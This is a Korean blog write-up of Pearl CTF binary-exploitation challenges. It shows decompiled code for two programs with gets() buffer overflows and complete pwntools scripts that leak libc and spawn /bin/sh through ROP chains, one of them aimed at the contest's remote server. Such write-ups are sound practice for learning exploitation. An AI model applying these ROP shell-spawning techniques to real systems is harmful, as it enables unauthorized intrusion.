CTF

Pearl CTF

ssongk 2024. 3. 11. 00:01

여기가 포너블 맛집이었네.. shakti 말고 이거나 열심히 할걸..

 


 

[solved]

[pwn] Adventure

더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Welcome to the Adventure!");
  puts("You find yourself standing at a crossroad.");
  puts("What do you do?");
  puts("1. Go left");
  puts("2. Go right");
  puts("3. Stay where you are");
  printf("Enter your choice: ");
  __isoc99_scanf("%d", &choice);
  if ( choice == 3 )
    stayWhereYouAre();
  if ( choice > 3 )
    goto LABEL_9;
  if ( choice == 1 )
  {
    exploreLeft();
  }
  else
  {
    if ( choice != 2 )
    {
LABEL_9:
      puts("Invalid choice.");
      return 0;
    }
    exploreRight();
  }
  return 0;
}
void __cdecl exploreRight()
{
  int choice; // [rsp+Ch] [rbp-4h] BYREF

  puts("You chose to go right.");
  puts("You find a hidden treasure chest!");
  puts("This treasure chest contains a dragon egg!");
  puts("Do you want to hatch it?");
  puts("1. Yes");
  puts("2. No");
  __isoc99_scanf("%d", &choice);
  if ( choice == 1 )
  {
    hatchEgg();
  }
  else
  {
    if ( choice == 2 )
    {
      puts("You do not wish to hatch the egg!");
      puts("You leave the treasure chest......");
      puts("You get transported out by a mysterious power.");
      exit(0);
    }
    puts("Invalid choice.");
  }
}
void __cdecl hatchEgg()
{
  char name[20]; // [rsp+0h] [rbp-20h] BYREF

  puts("You wish to hatch the egg!");
  puts("Give the baby dragon a name");
  getchar();
  fflush(stdin);
  gets(name);
  printf("Your dragon is now called %s\n", name);
  printf("You leave the area with %s\n", name);
}

 

pwntools에서 제공하는 ret2dlresolve 툴을 이용하면 편한가보다..

rop 페이로드에 got를 사용하면 프로그램이 터졌어서

바이너리의 주소로 리턴하여 반복 실행하면서 스택 피봇팅으로 익스했다.

 

되돌아보면 너무 이상하게 푼 것 같다..

plt를 호출했어야 했는데 got를 호출 해놓고 왜 안되지 이러고 스택 피봇팅함..

from pwn import *

context.log_level = 'debug'

# p = process('./adventure')
p = remote('dyn.ctf.pearlctf.in', 30014)

bss = 0x404000

hatchEgg = 0x401223
fflush_got = 0x404038

pop_rdi = 0x000000000040121e
pop_rsi_r15 = 0x0000000000401871
ret = 0x000000000040101a

p.sendlineafter(b'choice: ',b'2')
p.sendlineafter(b'2. No',b'1')

pay = b'a'*0x20 + p64(bss+0x720)
pay += p64(pop_rdi) + p64(fflush_got)
pay += p64(0x401242) # call puts
p.sendlineafter(b'name',pay)

p.recvuntil(b'with ')
p.recvline()
# print(hex(u64(p.recv().ljust(8,b'\x00'))))
libc = u64(p.recv().ljust(8,b'\x00')) - 0x07f1b0
print(hex(libc))
system = libc + 0x050d60

pay = b'a'*0x11 + b'/bin/sh\x00' + b'a'*0x8 + p64(bss+0x720) # getchar()
pay += p64(pop_rdi) + p64(bss+0x710)
pay += p64(ret)
pay += p64(system)
p.sendline(pay) # bss write

p.interactive()

https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve

 

ret2dlresolve - Binary Exploitation

If the GOT entry is unpopulated, we push the reloc_offset value and jump to the beginning of the .plt section. A few instructions later, the dl-resolve() function is called, with reloc_offset being one of the arguments. It then uses this reloc_offset to ca

ir0nstone.gitbook.io

 



[unsolved]

나중에 풀거나 라업 찾아볼 예정..

 

[pwn] Going Back

더보기

 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int details; // [rsp+Ch] [rbp-34h] BYREF
  char travel_dest[24]; // [rsp+10h] [rbp-30h] BYREF
  int age; // [rsp+28h] [rbp-18h] BYREF
  char last_name[10]; // [rsp+2Ch] [rbp-14h] BYREF
  char first_name[10]; // [rsp+36h] [rbp-Ah] BYREF

  details = 0;
  puts("-------------------------------------------------------------");
  puts("Welcome to the Ticketing Service of Dhanbad Railaway Station");
  puts("-------------------------------------------------------------");
  puts("Please fill up your details below:");
  printf("First Name: ");
  __isoc99_scanf("%s", first_name);
  printf("Last Name: ");
  __isoc99_scanf("%s", last_name);
  printf("Age: ");
  __isoc99_scanf("%d", &age);
  puts("Please select the destination you want to travel to: ");
  puts("Delhi");
  puts("Mumbai");
  puts("Kolkata");
  puts("Chennai");
  puts("Bangalore");
  __isoc99_scanf("%s", travel_dest);
  puts("-------------------------------------------------------------");
  printf("Would you like to confirm the details? (1/0): ");
  __isoc99_scanf("%d", &details);
  if ( details >= 2 )
  {
    puts("Please fill up the details again");
    details = 0;
    exit(0);
  }
  puts("-------------------------------------------------------------");
  puts("Thank you for confirming the details");
  puts("-------------------------------------------------------------");
  puts("Your ticket has been booked successfully");
  puts("Your ticket details are as follows:");
  printf("First Name: %s                   Last Name %s \n", first_name, last_name);
  printf("Origin: Dhanbad            Destination: %s\n", travel_dest);
  puts("-------------------------------------------------------------");
  puts("Thank you for visiting Dhanbad");
  puts("Please give us a review based on your experience");
  review();
  return 0LL;
}
int review()
{
  int rate; // [rsp+Ch] [rbp-24h] BYREF
  char v2[32]; // [rsp+10h] [rbp-20h] BYREF

  printf("Rate your ticket booking experience from 1 to 5: ");
  __isoc99_scanf("%d", &rate);
  if ( rate == 5 )
  {
    puts("Thank you for the rating");
    puts("We hope you have a great journey");
    exit(0);
  }
  if ( rate > 4 )
  {
    puts("Invalid rating");
    return puts("Please try again");
  }
  else
  {
    puts("We are sorry for the inconvenience");
    puts("Please help us to improve your future experience");
    getchar();
    fflush(stdin);
    return gets(v2);                            // bof
  }
}

 

로컬에선 되는데 리모트가 안 됨..

(gets plt 호출 안하고 그냥 review 함수로 리턴했으면 됐을지도..?)

from pwn import *

context.log_level = 'debug'

p = process('./goingBack')
# p = remote('dyn.ctf.pearlctf.in', 30011)
e = ELF('./goingBack')
bss = 0x404000

pop_rdi = 0x0000000000401265
ret = 0x000000000040101a

ret2fflush = 0x40130A
fflush_got = 0x404038
gets_got = 0x404030
puts_got = 0x404018
exit_got = 0x404050
getchar_got = 0x404028
scanf_got = 0x404048

p.sendlineafter(b'First Name:',b'a'*10)
p.sendlineafter(b'Last Name:',b'a'*10)
p.sendlineafter(b'Age:',b'10')
p.sendlineafter(b'Bangalore',b'1')
p.sendlineafter(b'details? (1/0):',b'1')
p.sendlineafter(b'1 to 5:',b'1')

pay = b'a'*0x28 #+ p64(bss+0x720)
pay += p64(pop_rdi) + p64(fflush_got)
pay += p64(e.plt['puts']) 
pay += p64(pop_rdi) + p64(exit_got)
pay += p64(e.plt['gets'])
pay += p64(pop_rdi) + p64(exit_got+8)
pay += p64(0x4012D0) # call exit
p.sendlineafter(b'experience',pay)

p.recvline()
# libc = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x0831b0 # [0x0831b0, 0x07f1b0]
libc = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x7f130 # local
print(hex(libc))
# system = libc + 0x054d60 # [0x054d60, 0x050d60]
system = libc + 0x50d70 # local

# gdb.attach(p)
# pause()
sleep(1)

pay = p64(system) + b'/bin/sh\x00'
p.sendline(pay)

p.interactive()